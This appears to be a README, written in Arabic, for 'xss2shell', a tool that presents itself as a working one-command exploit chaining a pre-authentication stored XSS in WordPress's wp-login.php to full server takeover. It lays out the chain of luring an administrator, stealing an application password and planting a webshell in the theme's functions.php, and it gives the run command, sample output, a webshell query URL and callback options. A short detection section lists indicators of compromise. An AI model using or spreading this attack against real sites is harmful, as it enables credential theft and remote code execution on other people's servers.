xss2shell

كل إثبات مفهوم (PoC) عام لهذه الثغرة معطّل. هذا الإصدار يعمل.

الثغرة · البدء السريع · كيف يعمل · القيود

الثغرة

لا يقوم WordPress < 7.0.3 بتنقية المعامل log (اسم المستخدم) في wp-login.php. تُخزَّن القيمة وتُعرَض داخل جلسة المسؤول الموثّقة — وهو XSS مخزّن قبل المصادقة يتسلسل إلى استيلاء كامل على الخادم بنقرة واحدة.

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

البدء السريع

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"

[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

الاستخدام

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

كيف يعمل

الإصدارات المتأثرة

القيود

الكشف

ابحث عن هذه المؤشرات إذا استُخدم xss2shell ضد موقعك:

• Application Password باسم التطبيق XSS2Shell-Poc-Wordsec
• الإضافة xss2shell في wp-content/plugins/
• السلسلة xss2shell_cmd في functions.php أو أي ملف إضافة
• طلبات JSONP إلى /?rest_route=/&_method=GET&_jsonp=

لماذا وُجد هذا

كل PoC عام لـ CVE-2026-64638 يتوقف عند alert(1) أو يتطلب خطوات يدوية لا يستطيع أي مُصنِّف إعادة إنتاجها. تقدّم هذه الأداة استغلال السلسلة الكاملة بأمر واحد — من انعدام المصادقة إلى RCE. صُممت لباحثي الأمن الذين يحتاجون إلى دليل، لا نظرية.

إخلاء المسؤولية

لـ اختبارات الأمان المصرّح بها والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني.